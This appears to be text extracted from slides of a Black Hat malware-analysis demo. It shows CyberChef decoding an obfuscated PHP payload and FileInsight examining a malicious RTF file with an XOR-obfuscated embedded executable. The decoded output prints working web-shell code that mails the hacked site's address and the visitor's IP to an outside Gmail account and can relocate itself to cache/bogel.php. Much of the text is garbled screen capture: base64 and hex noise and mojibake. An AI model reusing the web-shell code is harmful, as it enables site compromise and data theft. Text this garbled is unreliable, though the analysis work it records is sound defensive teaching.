inJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jr ^ f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C50 EC5V3pxrwVsmtV77hfAZrZqXHGG1KiE1LeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY TM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3I0QFYF0S0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd60BpvL00ik 0u8lUpzYU2lhcYjzC1/5micMLZm1TOMH+9YM6y/jZc c9BRvfXG7A/A70MYUXLu0Z1R1rGW0C2wH6ENgFD1Uh 8mfx0/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc VY/+v8T.OoWwbrM5RY/OChAT.mCEVbv1c9RDV14+7.VT^{eV}

Ln 58 Col 138 Len 11777 INS



4 Þ 🚽 🗙

载 🗓 🛰 🐗 🖫 🚾 🗛 🕗

INS

4:38 PM

From Hex - CyberChef ×	+				
$\leftarrow \rightarrow C$	file:///C:/Users/user	/Desktop/tools/CyberChef_v9.28.0/CyberCł	nef_v9.28.0.html#recipe=From_Hex('Au	uto')&input=N	MzU1ODMxMzc2YjM1NzI1OTMxNzY2NjY2N2 ☆ Q Search
Version 9.28.0				Last build: 4	4 months ago
Operations	^	Recipe	8		Input
Search		From Hex		⊗ II	355831376b3572593176666667a366b36333848547a30646f525a6c57414e745a6e44 43497038357166396665674b4b746e58696e4a764f6b7169734b2b374c325462396f
Favourites	*	Delimiter Auto			2f2f7a3733397a3778724e2f754752354a38392b6179384f555a473935582b374e76 63526370573753613973676f4e4d506d587241564e524f6b416643596b724432657a
To Base64					69374c306b7346494463484c6c304f4b4b367730616f6e4437667477775351766259 32486f766c38416d64666f3476746763746e582b775873477a35692f4f6548324462
From Base64					4b2f2f7a76332f397a2b37483956530a7365477547703757687872392f436a4d3471 4b68643665386c3344594e633669514d4a72657a547131476f4c762b737974672f6e
To Hex					6d362b764633714d6575332b67696d65687577316153364a644b72796f2b41636571 636f453445334f427978576453706a71427a4976556e
From Hex					577556726c7137446f4a3473536577617250334e447 34a34426f4477624c 582f333573396372555773642b686548784d6d556 443326d4f584855
To Hexdump					5a654772357465477272626c336238 33724e2b685570643637307167687
From Hexdump					426443456978692b2f4f4f6a56436 Selected region is 4d30424452386176566c7a3961585
URL Decode					634f655162377a57314c586534704 5078726d5073304e424e714654616
Regular expression					39664f7366364a3569682f6a57383539565a3342364a2b6b36656141724c36466b42 5779535a534c45736e686732547031424d6831417166766b427432364a674859712b
Entropy					Output
Fork					• 5X17k5rY1vffz6k638HTz0doRZ1WANtZnDPJe7yBoNItCAgzp0XcTZCLjICIp85qf9fe
Magic					//z739z7xrN/uGR5J89+ay8OUZG95X+7NvSl7l3/+/ nz//nP3//2w8aN3cRcpW7Sa9sgoNMPmXrAVNROkAfCYkrD2ezu
Data format					<pre>/fBJnF39G91pw+XRem4wlQbi7L0ksFIDcHL100KK6w0aonD7ftwwSQvbYvweorHRAEqc /0eH2DbTtZvkML7YoQfvJ7f9AQxjWNNK//zv3/9z+7H9VS</pre>
Encryption / Encoding					seGuGp7Whxr9/CjM4qQYw81AP72X5W18X/7zv9vgB8Khd6e8l3DYNc6iQMJrezTq1GoL /di4wnm6+vF3qMeu3+gimehuw1aS6JdKrvo+AceapfwesmoN0V5ieVFRuYLfww7ccoF4
Public Key	_				emvwp6hBkEmWuVrlq7DoJ4sSewarP3NDse8J3J4BoDwbLjxHq8PbTq3/akyYCfvRdhYr
Ariekunstis / Logis					rN+hUpd670qghrG7s9
Annihetic / Logic					/EwTx8cMkbQJ9fnbEPT0MegFLgfpe7EId+sM0BDR8avVlz9aXSr++Mvadf4CL70aA99u
Networking					<pre>/bPX8cOeQb7zW1LXe4pGCHD7CCPspXl41Foebi9ObaLI+dz4EXJjwCk 75fYpu/PxrmPs0NBNqFTaiDCZ4IHoyM6uwKia6R+jeD+nb0Eyvo0j8DN3/8frVNUk9fC</pre>
Language					<pre>/1K5wvS6vn5vi998/cg51fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300N4qCPT vju293B07hfjH0SHCj+yn+7k77Soiyatf/PKbUBgHhIYLU0txVXye43UKWnugV5dV10H</pre>
Utils					mir@rlnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPVMH09jt8m+kSHgsjy3pWR7G
Date / Time		STEP 📃	BAKE!	Vito Bake	<pre>/zYKX9M4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt43ru34704edUn+64nsh G3GTHS51xhNl17M5Az+B/atMl9PYVfGWzHNaiYbpcx31sOT5XaOnNmsiAH3MbaECMb2k</pre>
	~		A	toto bake	

>_



From Hex, From Base64, ROT13, × +				
\leftarrow \rightarrow C	user/Desktop/tools/CyberChef_v9.28.	0/CyberChef_v9.28.0.html#	recipe=From_Hex('Auto')From_	Base64('A-Za-z0-9%2B/%3D',true)ROT13(true,tro 分 Q Search
Version 9.28.0			Last buil	d: 4 months ago
Operations	Recipe		8 🖬 i	Input
aw	From Hex		○ II	355831376b357259317666667a366b36333848547a30646f525a6c57414e745a6e4 43497038357166396665674b4b746e58696e4a764f6b7169734b2b374c325462396
Raw Deflate	Delimiter Auto			2f2f7a3733397a3778724e2f754752354a38392b6179384f555a473935582b374e7 63526370573753613973676f4e4d506d587241564e524f6b416643596b724432657
Raw Inflate				32486f766c38416d64666f3476746763746e582b775873477a35692f4f654832446
Render Markdown	From Base64		0 11	4b2f2f7a76332f397a2b37483956530a7365477547703757687872392f436a4d347 4b68643665386c3344594e633669514d4a72657a547131476f4c762b737974672f6
3SON deserialise	Alphabet A-Za-z0-9+/=		•	6d362b764633714d6575332b67696d65687577316153364a644b72796f2b4163657 636f453445334f427978576453706a71427a4976556e786731494d574c313567447
CRC-16 Checksum	Remove non-alphabet	chars		577556726c7137446f4a3473536577617250334e447365384a334a34426f4477624 582f333573396372555773642b686548784d6d556968497531585443326d4f58485
CRC-32 Checksum				5a654772357465477272626c336238546a524f617634447656703031626a364e575 33724e2b6855706436373071676872473773390a3832472b624b4235482b4c31725
CRC-8 Checksum	ROT13		⊘ II	426443456978692b2f4f4f6a56436e78383873446768732f4577547838634d6b625 4d30424452386176566c7a39615853722b2b4d7661646634434c373061413939757
From Base58	Rotate lower case	Rotate upper case	Rotate numbers	634f655162377a57314c5865347047434844374343507370586c3431466f6562693 5078726d5073304e424e714654616944435a3449486f794d3675774b696136522b6
From Base64	Amount	churs		39664f7366364a3569682f6a57383539565a3342364a2b6b36656141724c36466b4 5779535a534c45736e686732547031424d6831417166766b427432364a674859712
From Binary	13 🗘			Output
From Decimal	Raw Inflate		⊘ Ⅱ	error_reporting(0);
From Hex	Start index Ø	≎ Ø	ffer size Buffer expansi Adaptive	<pre>if (!isset(\$_SESSION['bajak'])) { \$visitcount = 0; }</pre>
rom Hex Content				<pre>\$web = \$_SERVER["HTTP_HOST"]; \$inj = \$_SERVER["REQUEST_URI"]; The PH</pre>
rom Hexdump	decompression	Verify resu	lt	<pre>\$body = "JCE Shells bogel \n\$web\$inj"; \$safem0de = @ini_get('safe_mode'); 'S (if f all) (f all) (</pre>
From Octal				<pre>if (!\$safem0de) {\$security= "SAFE_MODE = OFF";} else {\$security= "SAFE_MODE = ON";}; factorse asthetic thereas (f. CEDVED['CEDVED ADDD']);</pre>
SHAO				<pre>\$serper=getnostDyname(\$_SERVER[SERVER[ADDR]); \$injektor = gethostbyname(\$_SERVER['REMOTE_ADDR']); mil("seteres A000mmail are", "thedu" "Useil Defektor http://twokfind</pre>
Swap endianness				<pre>mail(setoran404@gmail.com , \$Dody , Hasil Bajakan http://\$Web\$inj \$injektor"); # creston['brick'] 0;</pre>
ICP/IP Checksum				<pre>\$_SESSION[Dajak] = 0; }</pre>
Fo Base64				<pre>eise {p_stssion[bajak]++;}; if(isset(\$_GET['clone'])){ fagures f SEDVER['sCRIPT FILENANS'];</pre>
J R L Decode	STEP	💆 BAKE!	Auto Bake	<pre>\$source = \$_SERVER[SCRIPI_FILENAME]; \$desti =\$_SERVER['DOCUMENT_ROOT']."/cache/bogel.php"; rename(\$source, \$desti);</pre>
	V			1



6f33527578312b76562b7633616a6b6e72784130587a346a6e 76536c376c332f2b2f0a6e7a2f2f6e50332f2f327738614e33 7a752f66424a6e46333947393170772b5852656d34776c5162 597677656f7248524145716f58617a66327746753264443258 6254745a766b4d4c37596f5166764a3766394151786a574e4e 715159773831415037325835573138582f377a763976674238 e6574687a66457a623857364d70595a6856632f646934776e 7170667765736d6f4e305635696556465275594c6677775a63 726e337a7972634d49505a59740a656d7677703668426b456d 4c6a7848713850625471332f616b7959436676526468596e54 557a484d38344c7372776961587842315633482b712b47757a 51543333354b74507970626d496a662b556d763734714c7639 54726348673363684258454a69694c716a473233533447664c 514a39666e62455054304d6567464c67667065374549642b73 7264456f7654727a7634514a67497345586e7a312f62505838 394f62614c492b647a3445584a6a77436b0a3735665970752f 6a65442b6e624f4579766f306a38444e332f386672564e556b 4264372f314b3577765336766e3576693939382f6367353166 2b75336a334f304e34714350545171686a347178745464744a 06666-404£5340436-36306-3637663737536£60306474663£ ¥

time: 25ms length: 30535 lines: 85

P code is deobfuscated

j\n\$security\nIP Server = \$serper\n IP Injector=

载 🗓 🔌 🕬 🔛 🚾 A 🚺 🛛 4:38 PM 8/7/2021

 \Box



Demo 2

- Deobfuscation of embedded PE file
- RTF file that PE file is embedded and obfuscated with 256 byte XOR key
- Plugins used in this demo
 - Visualization -> Bitmap view
 - XOR -> Guess multibyte XOR keys
 - Encoding -> Hex text to binary data
 - Basic -> Copy to new file
 - Misc -> Hash values

- Misc -> File type
- Parsing -> Parse file structure
- Misc -> Send to (GUI)





@BLACKHATEVENTS



	FileInsight - 64b3d533be1fe5b3bd5e5cd7adaf8e7c55d0a9581708ac61bb2940ff3c0b3875_PanchePetition1.doc
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lugi	ns <u>W</u> indows He <u>l</u> p
New Open Close Save View View as as Hex File View View	Enter a URL here Image: Constraint of the constraint o
Navigation P	64b3d533be1fe5b3bd5e5cd7adaf ×
Supported for HIML, OLE2, PE and Hash.	<pre>{\ttxD\ansi\ansicpg936\uc2\deff0\stshfdbch13\stshfloch0\stshfbich0\stshf</pre>

_				
[🐼 Navigation	🐋 Structures	D Decode	
	alues			џ
E	TE HEX		_	
	Byte	0		
	WORD	0		
	DWORD	0		
	ASCII			
	Unicode			



Ħ

>_

🖕 🏹 🚺 🤐

Ln 1 Col 0 Len 0 INS

 \Box

뷳 🖞 🛰 🕸 🔛 🚾 A 🚺 😽 4:40 PM 8/7/2021

ð X

fcharset0\fprq2{*\panose 0202060305040502 🔺 {*\panose 02010600030101010101}@\'cb\'ce\ arset162\fprq2 Times New Roman Tur;}{\f41\ an\fcharset163\fprq2 Times New Roman (Viet blue255;\red0\green255\blue0;\red255\green 128\blue0;\red128\green128\blue128;\red192 h\af0\dbch\af13\cgrid\langnp1033\langfenp2 tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\ af13\cgrid\langnp1024\langfenp1024 \snext1 \yr2011\mo4\dy27\hr10\min10}{\revtim\yr201 \deftab420\ftnbj\aenddoc\formshade\horzdoc rkrule\nobrkwrptbl\snaptogridincell\allowf xta \dbch .}}{*\pnseclvl3\pndec\pnstart1\ \pnstart1\pnindent720\pnhang {\pntxtb \dbc m\pnstart1\pnindent720\pnhang {\pntxtb \db ch\af0\dbch\af13\cgrid\langnp1033\langfenp

♥ 🔻	FileInsight - 64b3d533be1fe5b3bc	5e5cd7adaf8e7c55d0a9581708ac61bb2940ff3c0b3875_PanchePetition1.doc	– 0 X
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	ins <u>W</u> indows He <u>l</u> p		
New Open Close Save View as Hex View as Hex	Enter a URL here Image: Constraint of the second		
File View	Web		4 5
Navigation * Supported for HTML, OLE2, PE and Flash.	64b3d533be1fe5b3bd5e5cd/adat ×		4 ₽ + X
X Supported for HTML, OLE2, PE and Flash.	KISD:##v:1jb Y: v. NUDBA: JEBE: JEB: JEB	BS・NUDFACK]EOTY hq4xFfネ・sロワンIX(.7ミ+・Tラ=V 「=_M8D_f5D7 @sメENO/・STX料・FPルDC3ZFSYNa/^ 「S5ン・DCD月ETB)ソソノロj+トN・ DC2ンエYFyZ腟;EDFタiクOマ ETBML・「ywDt・qD琶シ」{z DFst7j11V=1wFAr3eンクMES UUWP^Z砧&VTVTD< NAK潅 Suspicious this rich tex SRCD3t・f7D- NUFC: NAK音 NUTD-浅噴う」a、/RF1fur Leiter (NTATAT Content for Leiter	 ▲wx,7亭=・□q27 いい・&・□R1^薛 いい・RSかc鈊タ」装業鬻 SYNDDEDCEIE ▲wx,7亭=・□q27 いい・&・□R1^薛 いい・RSかc鈊タ」装業鬻 SYNDDEDCEIE ▲SSG+LCAN類CE3a音ションジョンジョンジョンジョンジョンジョンジョンジョンジョンジョンジョンジョンジョ
Navigation Structures D Decode	「角ないに、「「「「」」」」」」、「」」、「」、「」」、「」、「」」、「」、「」、「」」、「」、「		
Values 4	A4僥"僵エハ尿31タS、ヨ^#イヒフォyー,セァ・ CANF4意メ・・牘h6 □= BS ぷsDC3「PM、c閹 DC4b⊐c・避 RS・i*間k/犯ュ・	キ9ロ・稜カ ┗┗7 ┗ロ峨 SOB{竧□v・ヤ -┗M・US SYN素GSv挽gCTBZ<	cロウ・ DMyBS詛卯ヒヂ DEE!ロロ網ロ\$ロロ ~\$ァ DC4^GSESCネ・Pト・T
BE HEX	SOFI XBSDDGD3Ds>>7.7.5E SUBI-IEEDNE\&YY.! /.DO	2┏/*」ヌ」d&A K7kj [°] zハ@レルリヘー8モc埣タZ DC3kコ<セヌ゙b□□□・絵	VID:SO· ESC 榕h·U EMテ・Hユ恬<瘍:・ ESCg7苳ENBc・ESCkロ・SIn把ル・
Byte 0 WORD 0 DWORD 0 ASCII 0	IDW= IVMB5裏!M#ミ>キヒI・DSb&WUBDDDEN:R・4_59P>/T39nヤョソ・9:4・ 9比行・NUDuDNO・ロ・h萼リ冷K美(SYNyDC4鹹USSTXiん湯卓、q?□1 Ds址[7^□o、J{ヤ品りHェ・ NAKkDTB壁茨コワ緻 DC2ケ級ロ SYN= SO	浦0・ EOT rHシ□キめ□uけ□Hタ SO@-シ眦・{ClBt亟Xミ房 SOH保	≹レュ ACK ケ ENQ7□) plレチ□"毬l螫アヘ。R US}BAユョY\EEKJ H・劃r1qpルリ BE
Unicode		rウユア៴4クロ+[メ NUL詢チニ3ェ ACKxETX蕕ェロロナ ETXBSENOACKB ºQR、叛ENO伽EOTeロźŋ汯e,GENOぬシサコশモウオᢘɪDLEヨ硬ッシ DC4吝・	ELI+ルGUDC3/SDC3F壹問、 ETBQ[ウ髟・ SUB}9 USヤ:VT.、EMOXRM ENO{NUL・ヒO USカO奥#・10僖 STXキルF8'ョDC2・タ\$
	 ・NULT/2。BJSRQ\$XD&[4/彷/1/me/9/nik//IH マアM・NULTRX\$?*P>BNOAG コP\b#y%\$89:/19L3/410・ DC2/蛍J VT·7)A STX乳!・ETXerSUB发 -t+数7嬋0743=y7p[77r44q・ ETX (qtNAK・7・BS7・蒂嵎玻湎・寅納琳 IXBSFDC1US・t/1w#1%c7trA_PQ'w幣T*J1)R、JRS EOT^\01/0 7D8D4ETXN0・克 EFy・ BSTBe·PftRS後、殪机S滔2・BBTAR・動・泙縅J露 UFT2厘 DC2=7^・1k) y7, th) Pth3・3 CSY7C}>y3w1DTB蠖q40 BSJ @ K>3 SOOC>STXCTSOH*[4G*DF1] CSWESC*SDH*[4G*DF2] DF2]#k06ide・厚 ESEVT*7.4(* +1: {zD46図ハ-塵7.*DAa*··0 DC2/µk06ide・ 	OjミホDC2: ETBミ・DC4嶹図RUSD媛モETB懊ラ NAR疥@路線 ESf鋩t a^USミmRDC3□V ETBK/瀘臻・a・b・dヲ捜・~□ク □q□} EG k八・整・快翅ノ輳スt USuケqESC{オ ESC}アyUSC好'E陰; 1DKdA・ b)qス・ DC3□>EM□ ES□ SD□コ{78i11・^スζH症R渟・ IN SOH外・SOH沓 BED・SUB咆US樒ETBUS泥・・莽封o□ DC1/ 7・キ9・サ?・ウ SOH^ENO・SOH・ETX準≠t・xシ ED紋 Bz□ NUDQ歇魴工貴x0@Aェ□コケヌ%。Z/[3 ESC+t1"ョ・ウィテ@征ャュロ\$ ・G・?□ SOHYA:汽・ヲ禅モカ/□・ヒュンゴョヒ;犇陸テ、・ DC2Z3	□・タF DE4-□・「□セ/ニェーテ・臓エヌ*] [*] ニヌ/ RSルロワンォとDE18ミP6∃U. [EPFXり稼 DFササ・oル=3 SD @7 VAPCg版Aミ^ミ GS] 惺]リ SYNSミ淡ユ征*S」 [*] VAP] #K・3 CAN W3444/1が海田(表ま) VAP/海山、SD 4 3 5 6 5 2 5 VAPA 2 5 5 5 7 7 8 5 5 5 7 7 9 7 9 7 9 7 9 7 9 7 9 7 9 7 9
🚰 Values 📃 Bookmarks 🛛 🥅 Calculator			
Output			
Press F1 for help			Ln 1 Col 0 Len 0 INS
📲 🛱 🧰 🏹 🍅 🗙			

		FileInsight - 64b3d533be1fe5b3bd5e5cd7adaf8e7c55d0a9581708ac61bb2940ff3c0b3875_PanchePetition1.doc	– 0 ×
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch <u>P</u>	Plugins <u>W</u> indows He <u>l</u> p	
Operations	Paris b		
, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	Compression		M McAfee
	Crypto •		
Plugins	Encoding		
Navigation	Misc 🕨	₽ 64b3d533be1fe5b3bd5e5cd7adaf ×	4 ▷ ~ ×
X Supported for	Parsing I.	KRSLa微、小hrvfluga加强的加强的加强性性。如此是一个的中心中的正常是一个的中心的正常是不是一个的正常是不是一个的正常是不是一个的正常是不是一个的正常的正常的正常的正常。	^
	Visualization		
	XOR 🕨	Byte histogram MUBDIDIDIDUS/ Visualize the whole file as a bitmap representation MMXT6US/FU17汽作g4xF1ネ・SU7/IX(、7キ・T7=V DMX用ける エを透・ ACKWX,7字=・Ug2/ NULL+& URIA FE NULL+RS	/C••···································
	Check for update	Entropy graph IN CANBELD;引}7 SISUB·EOT/144/2··/=?>·銀二ヌ· STXど GS52·DC1月 ETB/7/2·· Toty / ED2/12Y+2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2	」 Sy\$&kN·DC2 対 M 苗>9<い ジ 草98
	Version info	74 EOTENOIACKBELNULSOHSTXETXFE	
		L1xDM6[/DDC4/2345As,91 DCAI+,2 DSD・ ・詞!後9*窓・ DADB/振9編 DS・~央・O・ KSDg オロC2/22245As,91 DCAI・1758 SOF7DBC9・え)YZ[\ [*] 哦 SDSD 節原Mrs まれっす FURE[:・鑽71D思MI FUREMI・のD替シリノク ENGC初のOF ク・NAKKI・FSSD・末茶*ソンD/詞/	
		DC4·DC3··9 SYN10 USV4T!ZDC3/1=)·) EM·US·GS·DC3·DC1/PFsャヤj11V=1WFAr3eン/EMBS UUWP^Z砧&VTVTO<	
		ロ 把 癧ヤ GSOLESNAK LP、・77口。「」ヤュョッ・3・・sトOSp ETERK NUL gE + NAK 准	
		pN笑xDC1BELCD09t攝QZ\] 《CANI] 邓尤·	
		keig abcimno/Z・TZUY/UYxt BNOU世/?UY^V BNXC・BDUUU 架 DC2メウィ・ BSC /曜Mam茎+i+ト38 BSメ"シコを世ら45670123<=>2	
		」「「」」「」」「「」」」「「」」」」「「」」」」」「「」」」」」」「「」」」」	DC4.stuv. ETBETBDC197D
		ッ・Sohed ESC·嫩Muhoxp USDP1 NAKIDC4DC4DC3DC2ACK扑矮 VITENOSEMCAN;·SYN款口 Soh·Q1口ケ ES持	
		□ETBE] 1 DC2 tBwC#bQP) 7e觜[YXGQ yサンス=D1/1I.7ム薊ンit・ ACKt·VT· NULL·浅頃7/2·R刊fur DC4DC3 輝加 SYN蝗蘆 EM迹□「,pス・ ACK□□キ#} イ墜 ES! SOHu32	
		キ角RS 際 DLE vois · SYN y/。 ・3、, {コyマア・トN [9cIHA: SIKD ETX/声ADユyDq仡cbヌニ NAKO狸Uj班eンR DC4DNy滷J BS、・EM挺rヌサ\スD NUL'xD2D BSUSjn 枯E間*タ・	EOT山・DC1 SUBQ\$狭い・1
🛛 🖾 Navigation 📑	🐋 Structures 🛛 Decode		DC4^GSDSCA.P.T
Values		₽ ¾SDC3[EM`c閹 DC4blac·避 RS·i*間k/犯i·	
BE HEX			g7苳ETBc・ESCkロ・SIn把ル・
Byte	0		งไอง\ เออ หา้น•≢มะ1 สามไป เออ ม
WORD	0		ATHI (FRAC H'B) I QDW) BD
ASCII	0		
Unicode			9
		1打ジ・g録zレく}彰 DNOCDD6wH=V GS、新一/ GANメ・フ SNXHゾ・Z版SPQR、扱DNO制地CON地間を即旋e,GDNO超ば加州(ガネルD1D=000パンDG4音・ UST:VAL、・DMDX中切 DNO{NUT・CD USか日奥キ のDCANDCARTISHED-の、い地がのR	・101점 SDX 和F8'3DC2・ダ\$
		・NUL4/2。B」SRQ\$XD&[ムイ彷ノュー唇・ソウn畆ィ/IH VTM・NULKメミヤンBNOムSOjミホDC2・ ETBミ・DC4疇EMRUSD媛モETB懊う NAK疥@路綟 ESf鋩ロ・タF DC4ーロ・「ロモノニェーテ・臓エヌ*」。ニヌノ RA	JUD7ンォヒ DC1 8ミP6∃ひ. [ETTX り稼
		コP\b#y笨\$89:クユ9L3ウム10・ DC2/住J VT・ワ}A STX乳!・ETXeYSUB笈a^ US mRDC3口V ETBK/温臻・a・b・d7捜・~ロク ロqロ} EOTササ・oル=3 SD@7VTCg版Aミ^ミ GS]惺]リ ST	Ns:淡ユ征*s」 🔽]
			SOYARUH ESC·CAN好 SUBMK7
		12155F1DCULUS・T/1W748C/7#6_PQ'W常TYJI)R、JRS 「2000"、UIJUIDKAA・ 7080F1002XNO・克 回知v・・ BETIS・PF1/253後 [*] 靖加5滔ュ・BETIX略・動・泙滅士意)gス・ 「2030>回M1 ES1 ST11/78i11・ヘスノH症R海・	
		UFZ厘 DC2=ラ^・ェト) ツツ, ヤル) Pオルヨ・ヌ GS ツ7C}>ソコw1DDE 雙q40 BSガ SDN SOH外·SOH沓 BED·SUB咆 US密 DF3、デオシロ DC1/`・c、 ESC&g-BED:{ ヤ DTX>/SD2s·VD6wD7	
		Kŷ3SOOC>STXCマSOHネ[4GS1G7EMえGルMARンK DC1UC!・ソ・・ソ)・ウノ・ォ1ロ5キ7・キ9・サ?・ウ SOHへENO・SOH・ETX準≠t・xジ EF紋ワ・NAK、乞メ堂・涙蓑・聴・、・サ,DBEEMEMEMEMEMEMEMEMEMEMEMEMEMEMEMEMEMEME	口礫は勤型死,I…jot新ヨルェウユケラ(セC/C
		行 ISS ISC・SIERBh·g・ DIE 漢o・ DCI bde・厚 ISC VI·A(・ ISZ NUD Q歌魴エ貴XO@Aェロロケス%。Z/[3 ISC オモ1 "3・ケイラ@征ャュロキロュ!xムクC'FE シォセソーY4)KJ殊pロ・ NUD	
Values 🔁 Bo	ookmarks 🗰 Calculator		>
Output Sc			
Press F1 for help			Ln 1 Col 0 Len 0 INS 4:41 DM
	🔚 🔁 🛍		(小) 宇 🔤 A 🖸 🔐 8/7/2021 📿

U 👎		FileInsight - 64b3d533be1fe5b3bd5e5cd7adaf8e7c55d0a9581708ac61bb2940ff3c0b3875_PanchePetition1.doc
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch <u>P</u>	lugins <u>W</u> indows He <u>l</u> p
Operations		
Plugins		
Navigation		4 64b3d5321 16 61 21 16 6 17 16 6 17
X Supported for H	TML, OLE2, PE and Flash.	
	and the second	へ STXど GS57・DC1月 ETE/ソソ/ロj+トN・ DC2/ェェチッz腟;モロチタュクoマ BETテンB・?・M SONUL
		ロイx EM6 [ケDC423457s,9ヾ EOT+,2 ESC・ ・詢!食9*懋・ ENB/軈9蘊 ES・~臾・o・ RSbg
		Start of the suspicious binary data
		keig abclmno/2・T2U9/U9xt ENGUAD?2U9/V ENGUAC: BELGUU 哿DC2/立d· ESC/嚼Mam裘ォi+ト38 ES/"ジュセサ\$45670123<=>?
		」 \$]4]4q煮ィ碵ζ₀g对川ル祇1∃傑·· EOT更詢ム EM蒴□k [°] D·#\$\$ツB注Dヌ<=>?X12s4 ^y ES和珂 ES表{T絵VD} ENORCEGEANIrESCES] RS□·· A RS暢GSP
		ッ・SOHED ESC・嫩Mu丱QXP USDP: NAKIC4DC4DC4DC3DC2ACK+N矮 VUENO%EM(CAN;·SYN款D SOH·Q1Dケ ESFA A4倖"D·a··d·描・逸ァ・盤・ DC4目の7k'ォ.カ什%n ESh=N4キ7U/<2C:キ・ EE本(訂SOH)
		BBS_9ツwNUUL?WESmCAN (7@ン・II DC4・ETXSネ) j1ACKMACRW2!b休・劍水・ACK做ETX7・z□~ <<\チ・O ETBd・`h・N1・ETXp・ESキ・ュャ゙ュ*p, u'ク.fPII」
		wSO·BELES吭CANhENO農q嫂/弉w·b RSR· VII·1、# SOB麋xyDt BSRDD3t·#疗D-· BEMBA·SUXC}BS·A/ EDB·燃ヤ BEL
		D?称/Otd》3壙· RS U ·>X貸uソソi*v·ムzォ^ゥf,·^x9gDツkエワホ BDD_ucネGSMエKBP夷{SDDwWD銀編_^m USNUDW44_Q2溲C忽89=躪*マ a5弉^·x·иレ·p寬・演。
		キ角RS [®] 際 DIB ヤロs [*] ・ SYN ッイ。「・ヨ、, {□yマア・トN [9cIHムミ SIK□ EMX7声A□□y□q仡cbヌニ NAKQ貍Uj班eンR DC4□Nッ滷J BS、・MM挺rヌサ\ス□ NUD 'x□2
Navigation 📑		
Values	0x00	浅SDC3[EM)で間 DC4b⊐c・避 RS・i*間k/犯ュ・
	ASCII control	SUBF
Byte	Non-ASCII (>= 0x80)	
WORD DWORD	Offset: 0x205e	Output
ASCII	Value. 0x30	
Unicode		Sending the whole file to the viewer GUI.
		You can move window by dragging bitmap image.
		You can also copy current offset by right-clicking bitmap image.
Values	okmarkr 🗖 Calculater	
Boo Boo		





♥ =	FileInsight - 64b3d533be1fe5b3bd5e5cd7adaf8e7c55d0a9581708ac61bb2940ff3c0b3875_PanchePetition1.doc
File <u>H</u> ome <u>E</u> dit <u>S</u> earch	Plugins Windows Help
Operations	
Plugins	
Navigation	4 64b3d533be1fe5b3bd5e5cd7adaf ×
X Supported for HTML, OLE2, PE and F	lash. RSLI小、h NULWISINULWACKWEOTW在煉坯,蝟ソCoAo
	JBSBDD村口・! サンW1k7M RSオ ・EORLB3所DF3USか how white a control white かざん control at a
	× 蹠AAB7}求 NUDC
and the second sec	
	Sossi欄銑小座做 binary data with right-click menu
	Unfortunately FileInsight does not provide
	pNEX plugin API to control cursor position)
	kefg`abclmno.
	奇 DCZ/ひひゅ・ DSC/時間部設ま1+F38BS/**フーモシ\$45670123<=>? 」 \$]4]4q煮ィ碵ζ。gヌリルレ紙13傑・・ DCT使詞ム DM蒴口k゚ D・#\$\$ツBミロヌ<=>?X12s4ン ES和珂 BS夷{T絵VT) ENOACKGCANIrESCES]RSロ・・ム RS暢GSP・
	ッ・SOHED ESC·嫩Mu丱Q×P USDP: NAKDC4DC4DC4DC3DC2ACK扑矮 VTENO%EMCAN;·SYN款D SOH·Qイロケ ES持
	A4院 D·a···d·读·英王·盈· DCAJ=D/k*f, //I*p KSn=N47/0/22; * DSn{alson BBS_9%NOUL?WFSmCAN(7@/·II DC4·ETXSネ)j/ACKMACKW/!b休·劍K·ACK做ETX7·zI~ <<\f•O ETBd·`h•Nl· ETXp·GSキ・ュャ゙ュ゙*p,u゙ク.fPII]
	D?祢/ofdシ3壙・ RSU ·>X貸uソソi*v·ムzオ^ウf,·^x9gロツkエワホ BDL_u6ネGSMェKBP夷{SDDwVD鋠_ペm USNUDW4Lo2溲C忽89=躪*マ a5弉^・x・ハレ・p寬・演。ラ
	*角RS [®] 際 DIE ヤロS [®] ・ SYN ッイ。↓・ヨ、, {□yマア・トN [9cIHムミ SIK□ EVX7声A□□y□q仡cbヌニ NAKQ貍Uj班eンR DC4□Nッ滷J BS、・EM挺rヌサ∖ス□ NUE 'x□2
